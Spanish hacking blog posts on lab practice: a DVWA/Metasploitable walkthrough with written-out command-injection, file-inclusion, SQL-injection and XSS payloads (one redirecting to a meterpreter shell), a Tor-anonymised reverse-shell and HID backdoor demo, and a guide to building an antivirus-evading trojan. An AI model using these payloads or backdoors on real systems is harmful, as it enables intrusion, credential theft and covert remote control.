miércoles, 30 de marzo de 2016

Vulnerabilidad en Qualcomm Snapdragon de Android

Recientemente se ha sabido de una vulnerabilidad que afecta a los chipsets Snapdragon de la compañía Qualcomm, una de las más importantes empresas en el desarrollo de procesadores. Snapdragon es un microprocesador con instrucciones ARM, usado en portátiles, smartphones y en tablets; integrado en más de un millón de dispositivos, lo que convierte este error en algo muy serio.

Particularmente afecta a todos los terminales que usan con Qualcomm Snapdragon 800, 805 y 810, y que corran la versión del kernel 3.10. El código vulnerable está presente en versiones de Android desde la 4 hasta la 6.

Esta vulnerabilidad se debe a un error grave de codificación en el script del kernel, llegando a conseguir fácilmente acceso root  y tomar el control del móvil en cuestión.

El atacante, tras obtener el acceso root del terminal, puede realizar casi cualquier cosa: tomar capturas de pantalla, realizar llamadas, acceder a información personal así como a los datos de la cuenta del perfil del teléfono, acceso a los mensajes de texto y de aplicaciones tales como WhatsApp, Telegram o Hangouts, e incluso a las tarjetas de crédito almacenadas.

Tras ser esto descubierto, Google ha puesto medidas lanzando actualizaciones vía OTA para algunos modelos afectados, bloqueando la posibilidad de acceder al núcleo del hardware y así tomar el control; pero existe la preocupación de aquellos teléfonos que ejecutan versiones antiguas de Android, para los que Google irá sacando nuevos parches que solucionen dicho problema.

Imágenes obtenidas de Trend Labs:

- Trigger de la vulnerabilidad:


- Captura con fragmento de memoria accesible :



Es importante que estas vulnerabilidades sean resueltas cuanto antes, y no sólo para los dispositivos propios de Google, por lo que es imprescindible la colaboración entre las distintas compañías que monten la familia del microprocesador afectado y se anteponga siempre la confidencialidad de los datos a los beneficios económicos.


viernes, 25 de marzo de 2016

Entornos de pruebas: ¿Cómo practico mi hacking?

Buenas hackers! La intención de la entrada de hoy es daros algunas pautas a la hora de practicar y experimentar en ciberseguridad.

Nuestro campo es tan extenso y experimenta una evolución tan constante que es necesario practicar y experimentar lo máximo posible para mantenerse al día y mantener las garras afiladas. ¿Cómo podemos realizar nuestras prácticas de forma segura y manteniendo nuestra economía dentro de los límites razonables?

Seamos sinceros: a todos nos gustaría tener un equipamiento digno de la nave de Matrix y practicar en un entorno de máquinas reales. Sin embargo, esto no suele ser posible para la mayoría de la gente. Además, en materias de ciberseguridad a veces querremos hacer cosas que pueden comprometer la integridad de nuestro material; no nos gustaría fundir sin querer los datos de un disco duro real en el que tengamos fotos de las vacaciones.

Y sin embargo, realmente necesitamos la interacción entre máquinas para poder aprender.  La primera y normalmente mejor opción para ello son las máquinas virtuales.

Máquinas virtuales

Una máquina virtual, a grandes rasgos, es un sofware que permite ejecutar programas y sistemas operativos como si fuese una máquina de verdad. Dentro de una máquina virtual, en nuestro contexto, tendremos instalado un sistema operativo, igual o diferente al de nuestra máquina real, ejecutándose de forma independiente sobre el real, como si de un programa cualquiera se tratase. 

Los softwares de virtualización más conocidos son VirtualBox y VMware. No entraremos demasiado en las ventajas y desventajas de cada uno; los dos nos pueden servir perfectamente para alojar nuestras máquinas virtuales. 

Podemos configurar nuestras máquinas virtuales de múltiples formas para atender nuestras necesidades, asignando más o menos recursos en función de la potencia que tengamos disponible. Aunque no es necesario tener un equipo de última generación para ejecutar MVs, hay que tener en cuenta que si no les asignamos recursos suficientes podrían funcionar a una velocidad baja. 

La principal ventaja de las máquinas virtuales es que si las "rompemos" podemos recuperarlas fácilmente con una copia de seguridad, podemos clonarlas, reinstalarlas, etc. y todo ello sin comprometer en ningún momento nuestra máquina real. Podemos llevar a cabo auténticos ataques desde una máquina virtual a otra sin miedo a la pérdida de información o a dañar nuestro equipo. 

Las MVs pueden ser configuradas para funcionar en diferentes modos de red, siendo el modo puente y el modo NAT los más utilizados. Podemos ver fácilmente las posibilidades que nos brinda tener dentro de nuestro ordenador una red que a todas luces se comporta exactamente igual que una red real de dispositivos interconectados y funcionando. 

Aun siendo la opción más económica y asequible, a veces necesitaremos tener funcionando equipamiento real; por ejemplo, para practicar ataques a redes inalámbricas necesitaremos una red de pruebas. Para ello, suele bastar con una serie de equipamiento barato y asequible, y el componente más utilizado por su versatibilidad es la Raspberry Pi. 

Raspberry Pi

Este pequeño aparato es, en resumen, un ordenador en miniatura y con un precio considerablemente bajo. Lleva utilizándose años en multitud de proyectos de diversa índole, sobre todo en materia de educación y experimentación. 

El modelo actual, la Raspberry Pi 3, ronda los 45 euros y proporciona una potencia de computación bastante elevada para su precio, incluyendo además funcionalidad WiFi y Bluetooth sin necesidad de agregarle un periférico. El modelo anterior, la Raspberry Pi 2, ronda los 30 euros y también proporciona una buena potencia. El modelo antiguo era bastante más básico, pero aún puede encontrarse a un precio aún menor. 

La Raspberry Pi puede hacer prácticamente todo lo que cualquier ordenador, ejecutando un sistema operativo Linux de nuestra elección. Por ello, puede servirnos como objetivo simulado de un ataque, con la ventaja de que realmente estamos practicando con una máquina real, con sus pros y sus contras. 

Experimentando con la Raspberry Pi

Particularmente, me parece la mejor elección a la hora de llevar a cabo prácticas con redes inalámbricas (¡visita nuestras entradas de Aircrack-ng!), dado que puede configurarse de forma fácil para crear una red WiFi de diversos tipos utilizando el módulo inalámbrico incluido ya en los modelos más actuales o una antena externa en caso del modelo antiguo. 

Otras opciones

Aunque esas son las opciones más asequibles en términos de economía y recursos que utilizo, existen más alternativas. Por ejemplo, Amazon proporciona servicios de virtualización en la nube, que podríamos utilizar en caso de no tener la potencia necesaria en nuestro equipo para ejecutar entornos de varias máquinas virtuales. 

Sin embargo, hay que tener en cuenta los límites que hay que respetar; esas máquinas no pueden utilizarse para ningún fin ilícito, y la infraestructura que las ejecuta es compartida con otras máquinas. Podría haber complicaciones legales a la hora de realizar ciertas prácticas de hacking en esos entornos. 

Dicho esto, podemos terminar con la posibilidad de utilizar equipamiento real. Hay mucha gente que prefiere realizar siempre que es posible las prácticas con varios equipos físicos si dispone de ellos. Aunque comprendo las ventajas de utilizar máquinas reales, también hay que tener en cuenta las desventajas: puedes poner en riesgo dicho equipo si haces según qué cosas, y además, personalmente, encuentro mucho más cómoda la virtualización, dado que me proporciona un entorno de trabajo centralizado en un solo equipo. 

Hasta aquí la entrada de hoy. Espero que os haya gustado y os sirva para orientaros un poco a la hora de fabricar vuestro entorno de pruebas. 

Un saludo hackers!!
hartek

domingo, 20 de marzo de 2016

Conectar troyanos a través de Tor


Buenas hackers!!
En la entrada de hoy explicaré la PoC realizada por Belane. El fin principal es la conexión inversa de un backdoor de forma anonima a traves de Tor, en otras palabras, una shell reversa anonimizada. 
La PoC esta realizada en un entorno virtualizado compuesto de maquinas virtuales con el fin educativo de un proceso real.

Parte 1: 
La primera parte del video se muestra como se realiza la conexión ssh al servidor remoto donde esta alojado las imagenes de docker usando nc.

 
"Docker (Wikipedia): Docker es un proyecto de código abierto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de Virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y espacios de nombres (namespaces) para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales."

Estas imagenes son como maquinas virtuales que se despliegan como contenedores. Primero se usa tor-base, que es una imagen con el servicio tor instalado. Y después donkeykong que es una imagen preparada para metasploit.
Se aprecia como lista las imagenes de docker y luego lanza la imagen con:
 docker run -it --name tor-service tor-base /bin/bash
Al ejecutarse se muestra una nueva shell de la maquina y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Visualiza el nombre de dominio proporcionado por Tor (hostname) y ejecuta el nc para estar a la escucha de las posibles conexiones inversas. 

Desde la maquina virtual de la victima (Windows 7) se instala Tor, socat y nc. 
Inicia Tor en background con start /b tor y ejecuta socat.exe. Socat es como una navaja suiza de conexiones, permite redirigir de un punto a otro, hacer tuberias. En este caso se usa para crear un proxy y resolver el dominio .onion. Crea una tuberia desde el puerto 5555 en localhost al 3333 en el dominio que nos da tor .onion, usando el proxy en 9050 (tor).
Y finalmente la victima ejecuta el nc para establecer la conexión con el atacante, devolviendonos una shell.


Parte2: 

 
En esta parte se utilizara un HID attack para infectar un ordenador con el backdoor conectandose a Tor, de esta forma el panel de control del atacante no esta expuesto, en este caso Metasploit.
De igual modo se usa docker para listar la imagenes disponibles en el servidor remoto, llamada donkeykong y se lanza la imagen:
docker run -it donkeykong /bin/bash
Al ejecutarse se muestra una shell y se configura Tor.
Se ejecuta desde el shell, tor & en background para poder seguir usando esa shell. Una vez realizado este procedimiento abrimos la consola de Metasploit con msfconsole y usamos el exploit/multi/handler con el payload windows/meterpreter/reverse_tcp a la escucha de conexiones.
Se abre otra terminal para generar el backdoor malicioso con msfvenom
En el escritorio de la maquina Kali Linux, tenemos el backdoor y el archivo loader.ps1 que será el usado en el HID attack.
En este caso el atacante usa la maquina Kali Linux como servidor propio donde aloja el backdoor y el loader.ps1 mediante la creación de un webserver en el directorio actual.
Ahora conectando nuestro telefono movil NetHunter a la maquina (Windows 8.1) realiza el HID attack simulando que es un teclado y ejecutando una serie de ordenes, abriendo un powershell y descargando el fichero loader.ps1 infectando a la maquina.
De este modo obtendremos una sesión meterpreter.

Una vez explicado el procedimiento de la PoC, os muestro el video demostrativo:


P.D El autor y desarrollador de esta PoC, no se hace responsable del mal uso de este tutorial. Hacerlo siempre en un entorno virtualizado con VMware, simulando este proceso real.

Un saludo, naivenom




sábado, 19 de marzo de 2016

Guia Metasploitable 2: Parte 2

Continuamos con la segunda parte de la guía de Metasploitable 2. En esta entrega vamos a explotar el puerto 80, en el que vamos a encontrar varias aplicaciones web vulnerables. Esto es lo que nos aparece al entrar.



TWIKI

La primera aplicación que aparece es Twiki. Se trata de un gestor de contenidos tipo wiki, escrito en Perl y con licencia GPL. Soporta extensiones para acceso a base de datos, diagramas, hojas de calculo, seguimiento de proyectos y muchas otras posibilidades.

Éste tiene una vulnerabilidad que podemos explotar con Metasploit.

Configuración exploit
Shell obtenida
Obtendremos una shell sin privilegios. Para escalar privilegios utilizaremos el mismo exploit que usamos en el puerto 22 (SSH), en la primera parte de ésta guía.


DVWA

Esta aplicación web dispone de varios fallos de seguridad como pueden ser SQL Injection, ejecucion de comandos, File Inclusion, etc.

Al entrar vemos un login, el user es "admin" y la pass "password".



Una vez dentro, lo primero que haremos es pinchar en Setup y Create/Reset Database, para crear la base de datos.



Lo siguiente es cambiar el nivel de seguridad, entramos en DVWA Security y lo cambiamos a Low, pinchamos en Submit.


Ya estamos listos para empezar a probar las vulnerabilidades.


Command Execution

Nos aparece una pantalla en la que podemos hacer un ping a la IP indicada. Pero además podemos ejecutar mas comandos con la siguiente  sintaxis: IP&&COMANDO.


Ejemplo: 127.0.0.1&&pwd


En la captura vemos como responde al ping y al comando pwd. Ahora ya depende de nuestra imaginación y los permisos que tengamos.


Cross Site Request Forgery (CSRF)

Esto es un ejemplo de una mala implementación del cambio de contraseña en una aplicación web.
  • Utiliza http en vez de https, por lo que va en texto plano.
  • Un atacante puede usar la URL para cambiar la contraseña-
Al entrar nos encontramos con esta pantalla.


Escribimos una contraseña y pulsamos Change.

Si nos fijamos en la URL, vemos  como aparece la nueva contraseña.


Ahora vamos a cambiar la contraseña desde la URL y actualizamos la página.


Nos aparece el mensaje Password Changed y en la URL la nueva contraseña establecida. Si salimos de DVWA y nos logueamos otra vez con la nueva contraseña, comprobareis que efectivamente funciona.


File Inclusion

Mediante esta vulnerabilidad podemos ver ciertos archivos del sistema como puede ser passwd, phpinfo, ftpusers, etc. Incluso podemos ejecutar un archivo que hayamos subido previamente como un backdoor.

En la web nos dice que modifiquemos una parte de la url para explotar la vulnerabilidad.



page=/etc/passwd


page=/var/www/phpinfo.php




Para el siguiente ejemplo, vamos a crear un backdoor con msfvenom.


Lo metemos en la máquina Metasploitable 2 de la forma que mas nos guste.
A continuación ponemos a la escucha en Kali el multi/handler para recibir la conexión.


Y por último, ejecutamos nuestro archivo introduciendo la ruta donde lo hayamos guardado. En mi caso lo he puesto en la carpeta /tmp.


Aquí tenemos la shell meterpreter, ya solo tendríamos que escalar privilegios mediante algún exploit.


SQL Injection

Es el turno del famoso SQL Injection. No voy a entrar en muchos detalles sobre el funcionamiento del mismo, para ello visita este enlace.

Para empezar introducimos el comando básico: 

' or ' 1=1 


La respuesta de la web es los nombres de usuario.

Para ver el nombre de usuario de la base de datos introducimos:

' or 0=0 union select null, user() # 

Usuario db: root


Para el nombre de la base de datos:  

' or 0=0 union select null, database() # 

 Nombre db: dvwa 

Buscaremos en las tablas de la base de datos information_schema (esta base de datos es donde se guarda la información sobre las db que el servidor MySQL maneja), las tablas que contengan la palabra user en su nombre. Para ello usamos el siguiente comando:

' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%' # 

Tabla: users 

Una vez sabemos el nombre de la tabla en cuestión, mostramos el nombre de las columnas:

' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # 

 Columnas db users 

Por último, mostramos la información de las columnas que nos interesan:

' and 1=0 union select null, concat(user,0x0a,password) from users # 


Con los usuarios y sus respectivos hashes podemos obtener las contraseñas con John the Ripper u otra aplicacion de crackeo de hashes. 

 Usuarios y contraseñas 


Upload

Mediante esta vulnerabilidad podemos subir un archivo al servidor para posteriormente ejecutarlo por ejemplo, con lo que ello conlleva.

He creado, mediante msfvenom, un archivo php que devolverá una shell meterpreter. Buscamos el archivo y lo subimos.





Path del archivo 

Una vez subido, lo ejecutamos desde la URL.


Con msfconsole y multi/handler escuchando, obtendremos la shell.


Cross-Site Scripting (XSS)

XSS permite a un atacante inyectar código en la web evitando las medidas de control, permitiéndole robar información sensible, secuestrar sesiones de usuario, etc.

El ejemplo básico para comprobar la vulnerabilidad es el siguiente:

<script>alert("¡¡FWHIBBIT!!")</script>

 Nos aparecerá el siguiente mensaje:






Otro de los usos que se le puede dar es utilizar un iframe para mostrar otra web por encima de la original. Con ésta técnica podemos engañar a un usuario para que piense que se trata de la web original cuando en realidad no lo es, obteniendo así sus credenciales.




Iframe con web indicada 


Para obtener la cookie de la sesion introducimos :

<script>alert(document.cookie)</script> 


 
Mediante XSS podemos incluso ejecutar un archivo php (como el usado en la parte de Upload).

<script>window.location="http://192.168.0.195/dvwa/hackable/uploads/hack.php"</script> 

 Teniendo multi/handler a la escucha, tendremos una shell meterpreter.


Hasta aquí la entrada de hoy, espero que os haya gustado. Recordar que esto es con fines educativos y en ningún momento debe utilizarse para malos fines.


viernes, 18 de marzo de 2016

Cuando los lobos se disfrazan de ovejas


El lobo detrás de la oveja


La ingeniería social. El as en la manga del ciberdelincuente. El conejo sacado de la chistera. Aprovecharse de ese gran defecto en el ser humano que es la confianza. A la ingeniería social también se le conoce como "el arte del engaño". No es magia, pero tienen mucho que ver. Cuando asistimos a un espectáculo de magia es el propio mago el que con su astucia, trata de engañarnos para hacernos pensar que algo es de una manera, cuando realmente no es así.

Al igual que este mago, el ingeniero social utiliza las mejores técnicas y su astucia para que su "truco de magia" resulte efectivo y parezca lo más creíble posible.

Dicho de otra manera, el ingeniero social busca captar la atención de sus víctimas para conseguir un objetivo, que actúen como él quiere. Y el truco es muy sencillo. Se busca aprovechar la curiosidad o el morbo que nos produce conocer y manejar cierta información. Una forma de manipularnos para hacernos actuar de la forma que ellos quieren.

La ingeniería social se lleva a cabo por cualquier medio, desde el día a día y las rutinas de una persona, pasando por correos electrónicos, redes sociales...hasta conseguir el objetivo.

Vamos a un caso más práctico. Supongamos que somos ciberdelincuentes y buscamos que alguien se descargue una aplicación o un archivo que contiene nuestro virus dentro. ¿Qué haríamos? ¿Cómo conseguimos que alguien se lo descargue y lo abra o instale?

No parece sencillo, ¿o si?

Si es el lobo, sin estar disfrazado, el que busca este objetivo, su mensaje sería algo así..."Oye amigo, hazme el favor y descárgate este virus en el ordenador"


No parece la mejor de las opciones, ¿verdad?. Tal vez deberíamos optar por el recurso del mago, el arte del engaño.

Vamos a suponer ahora que el lobo sí se ha disfrazado, que ahora no es quien dice ser. A ver que os parece esto...

"Oye amigo, ¿has visto las últimas fotos comprometidas de Jennifer Lawrence?. Aquí las tienes! [enlace]"

O...

"Estamos sorteando 15 entradas gratis para la final de la Champions League en Milán, ¡participa ya! [enlace]"

No sé vosotros, pero a más de uno le falta tiempo para hacer click en el enlace (todo sea por ver a su Ronaldo o Messi levantando un título más). ¿Por qué creéis que estos mensajes son mucho más llamativos?. Es de sentido común, si a una persona le dices que se descargue directamente el virus, no lo hará, obviamente, pero qué pasa si le vendemos el enlace bajo un titular que le genere curiosidad.

Es posible que pinche y acabe picando en la trampa.

A qué nos estamos enfrentando


El ingeniero social aparece cuando menos te lo esperas pero también tiene debilidades y suele caer en la tendencia de actuar en los mismos escenarios una y otra vez, como esos magos que acaban haciendo sus trucos siempre en la misma plaza del pueblo, dónde, atónitos, los espectadores le adoran y aplauden.

Algunos de esos escenarios más usuales son estos:


  • Noticias y rumores sobre famosos: Es sabido que los famosos suelen ser los objetivos principales de estos ciberdelincuentes, pero también son el puente que le llevan al resto de personas. Por ejemplo, los fans de un actor o de un futbolista. Escándalos, rumores, filtraciones, cualquier cosa vale para captar la atención de los usuarios. Imaginación es lo que menos echan en falta estos ingenieros sociales. Vídeos o enlaces a supuestos detalles de un famoso suelen ser los que más nos encontramos.
  • Celebración de eventos: Desde festivales, congresos, quedadas, cualquier excusa es buena para poner en circulación falsas entradas, sorteos o descuentos que todo el mundo querrá obtener. ¡Y están tan cerca! Basta con unos pequeños datos personales y lo tendremos. O eso nos quieren hacer creer.
  • Nuevos productos o servicios: Los días de salida para juegos, móviles, o cualquier producto son bien utilizados por los ciberdelincuentes para aprovechar la alegría e impaciencia del momento en los usuarios. Son una ayuda para propagar malware en correos, aplicaciones, tweets, vídeos...
  • Noticias, newsfeeds...: Difundir noticias diarias masivas está a golpe de click. Sin embargo, el atacante podría tener una gran base de datos con correos electrónicos y demás información de usuarios con el fin de obtener cuentas con el robo de credenciales.
  • Situaciones críticas: Normalmente las más usadas, multas, denuncias, supuestos robos de cuenta en su cuenta de google, de apple...hay infinidad de situaciones en las que es fácil confiar y caer en la trampa. Estos ataques están clasificados como "phising", en los que a través de un email o mensaje, se avisa a cierto usuario de que ha habido irregularidades en su cuenta y debe acceder de nuevo para verificar su perfil. Es el más usado puesto que su objetivo es robar datos personales y bancarios de los usuarios. Algunos ejemplos muy muy típicos de phising:
    • Problemas en cuentas de correo como gmail, hotmail...
    • Problemas de seguridad en cuenta de apple o icloud.
    • Supuestas detecciones de intrusión en redes sociales
    • Multas de policía
    • Problemas de seguridad en cuentas bancarias
    • Envíos de facturas electrónicas...

No ser caperucita roja



Podemos pillar el truco del mago. No es tan difícil. Basta con tener algo de sentido común. Y además, aplicándose estos consejos:

  1. Nadie nos va a regalar nunca nada.
  2. Siempre que vayamos a introducir datos privados en una página web conviene asegurarse de que nos encontramos en la URL correcta, este suele ser el punto débil del phising, el falso enlace.
  3. No dar bajo ninguna circunstancia nuestras contraseñas a nadie, especialmente por correo electrónico o redes sociales. Aunque nos estén regalando a cambio las entradas para la final de la champions league.
  4. Nunca abrir un fichero o archivo extraño aunque sea de un remitente conocido si el mensaje no parece tener sentido o es algo que no estábamos esperando. 
  5. Tampoco dar o introducir nunca datos privados sobre cuentas bancarias o personales a cualquiera si alguien bajo alguna excusa nos lo está pidiendo, aunque éste nos diga que se trata del servicio técnico o el administrador de nuestro banco.
Este es el objetivo que buscamos: Dar caza al lobo.



Para finalizar, queremos nombrar a Kevin Mitnick, uno de los hackers e ingenieros sociales más famosos de la historia y que basaba sus ataques en considerar que todos podemos fallar fácilmente en este aspecto ya que los ataques de ingeniería social, muchas veces llevados a cabo solo con ayuda de un teléfono, están basados en cuatro principios básicos y comunes a todas las personas:
  • Todos queremos ayudar.
  • El primer movimiento es siempre de confianza hacia el otro.
  • No nos gusta decir No. Solo decir sí.
  • A todos nos gusta que nos alaben.
Se podrían añadir algunos tipos más como:
  • La curiosidad.
  • El miedo.
  • La codicia.
  • La compasión.
  • Motivaciones de tipo sexual.
Y por supuesto, no olvidarnos de los gatitos adorables, sí, esos enlaces de vídeos y fotos de tiernos gatitos que todo el mundo ve y les gusta, pero que muchos conducen a dar acceso a información personal.
No hay que olvidar que el hombre es el eslabón más débil de la cadena, una mentira bien llevada será más que suficiente para que seamos nosotros mismos quienes les facilitemos usuarios, contraseñas, datos bancarios... sin hacerles recurrir a detalles técnicos o trabajos más costosos. 

Para el bueno de Kevin, la ingenería social no es más que esto:

"Social engineering is using manipulation, influence and deception to get a person, a trusted insider within an organization, to comply with a request, and the request is usually to release information or to perform some sort of action item that benefits that attacker."

jueves, 17 de marzo de 2016

Troyano Hacoder y el source code

Buenos dias!
En el dia de hoy os mostrare una herramienta realizada por LukaSiki/HaCoder.py. Podeis localizar el repositorio en GitHub.



Parte 1:
Primero analizaremos el código fuente para aquellos entusiastas en la programación con Python. La herramienta de administración remota (troyano), tiene un encriptado AES eligiendo valores aleatorios (random), haciendo su backdoor FUD eludiendo a los antivirus.


El archivo principal (Hacoder.py), es un script de igual modo que el anterior, conteniendo a su vez dentro de una función otro script que será la generación del backdoor. Se importan los modulos, clases de colores, el logo del programa y la encriptación AES.



Más adelante, cuando se finaliza de escribir las lineas de código correspondientes al script del backdoor, se define una función que corresponde a la generación del handler, es decir, las instrucciones correspodientes a la interacción con el cliente.



 Dentro de ella se definen funciones e interaciones como:
  • Enviar y recibir datos.
  • Subida y bajada de archivos.
  • Actualización de los clientes que se nos conecta a nuestro host, dada una dirección IP y puerto.
  • Uso de la instrucción "while" para repetir una serie de instrucciones mientras la condición sea verdadera (True)
Por último se crea el menu y una serie de condiciones con "if" dependiendo de la elección del usuario, realizando las correspodientes llamadas a las funciones creadas anteriormente.



Parte 2:
Ahora en esta parte, vamos a probar la herramienta en un entorno virtualizado en VMware. Para instalar la herramienta podemos clonar el repositorio ejecutando lo siguiente:
git clone  https://github.com/LukaSikic/HaCoder.py.git
Entramos en la carpeta generada, y damos permisos de ejecución con chmod
Es importante tener instalado Python para poder ejecutar el script, ya que es un lenguaje interpretado y necesita de una maquina virtual. El bytecode se utiliza y produce el resultado. 
Ejecutamos el script y generamos el backdoor, copiando la clave AES aleatoria e indicando nuestra IP y puerto a la escucha: 


Una vez creado el backdoor, generara un archivo .py, y como dijimos antes Python es un lenguaje interpretado, por tanto si queremos enviar este archivo a un cliente, tiene que tener Python instalado. Una opción interesante es compilar el archivo a un .exe. Entonces necesitaremos usar Pyinstaller:  https://github.com/pyinstaller/pyinstaller
Usamos la herramienta y ya tendriamos nuestro backdoor en .exe. Existen buenos tutoriales del uso de esta herramienta. 
Al elegir la opción 3 del menu del programa, automaticamente pasará al handler a la espera de conexiones, como se puede apreciar el cliente ejecuto el .exe y se nos conecto:





Hacemos Control + C para interactuar con el cliente, y obtenemos una shell del cliente: 


Una vez obtenido la shell, podemos según las funciones declaradas en el código fuente subir y descargar archivos, escalada de privilegios, keylogger y hacerlo persistente. 
Un saludo, naivenom

P.D No me hago responsable del mal uso de esta herramienta y probarlo siempre en un entorno virtualizado usando dos maquinas virtuales, una el cliente y otra de servidor a la escucha de conexiones. 







 









Google Analytics